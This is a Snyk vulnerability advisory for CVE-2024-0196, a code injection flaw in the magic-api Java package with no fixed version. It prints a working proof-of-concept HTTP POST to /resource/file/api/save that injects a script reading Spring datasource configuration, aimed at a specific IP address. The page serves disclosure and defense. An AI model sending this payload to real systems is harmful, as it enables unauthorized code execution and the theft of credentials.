Code Injection Affecting org.ssssssss:magic-api-parent package, versions [0,]


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.23% (46th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Code Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-ORGSSSSSSSS-6143092
  • published3 Jan 2024
  • disclosed2 Jan 2024
  • creditPuppy

Introduced: 2 Jan 2024

CVE-2024-0196  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

There is no fixed version for org.ssssssss:magic-api-parent.

Overview

Affected versions of this package are vulnerable to Code Injection via the /resource/file/api/save?auto=1 file. An attacker can inject and execute arbitrary code by manipulating the input to this file resource.

PoC

POST /resource/file/api/save?auto=1 HTTP/1.1
Host: 60.205.225.252:8080
Content-Length: 1812
Accept: application/json, text/plain, */*
magic-token: unauthorization
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: application/json
Origin: http://60.205.225.252:8080
Referer: http://60.205.225.252:8080/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"id":"ed8ea909935c447fb28bb424ed110700","name":"abc","path":"a","groupId":"234ec5f76be84f40a6838d7cf53b931d","lock":null,"method":"GET","description":null,"createBy":null,"properties":{},"script":"import env;\r\n\r\nreturn env.get('spring.datasource.username')","responseBody":"{\n    \"code\": 1,\n    \"message\": \"success\",\n    \"data\": \"jdbc:mysql://localhost:3306/magic-api-test?allowMultiQueries=true&useUnicode=true&characterEncoding=UTF-8\",\n    \"timestamp\": 1692500175894,\n    \"executeTime\": 2\n}","responseBodyDefinition":{"name":"","value":"","description":"","required":false,"dataType":"Object","type":null,"defaultValue":null,"validateType":"","error":"","expression":"","children":[{"name":"code","value":"1","description":"","required":false,"dataType":"Integer","type":null,"defaultValue":null,"validateType":"","error":"","expression":"","children":[]},{"name":"message","value":"success","description":"","required":false,"dataType":"String","type":null,"defaultValue":null,"validateType":"","error":"","expression":"","children":[]},{"name":"data","value":"jdbc:mysql://localhost:3306/magic-api-test?allowMultiQueries=true&useUnicode=true&characterEncoding=UTF-8","description":"","required":false,"dataType":"String","type":null,"defaultValue":null,"validateType":"","error":"","expression":"","children":[]},{"name":"timestamp","value":"1692500175894","description":"","required":false,"dataType":"Long","type":null,"defaultValue":null,"validateType":"","error":"","expression":"","children":[]},{"name":"executeTime","value":"2","description":"","required":false,"dataType":"Integer","type":null,"defaultValue":null,"validateType":"","error":"","expression":"","children":[]}]},"requestBody":"","requestBodyDefinition":null,"parameters":[],"headers":[],"paths":[],"options":[]}

CVSS Base Scores

version 3.1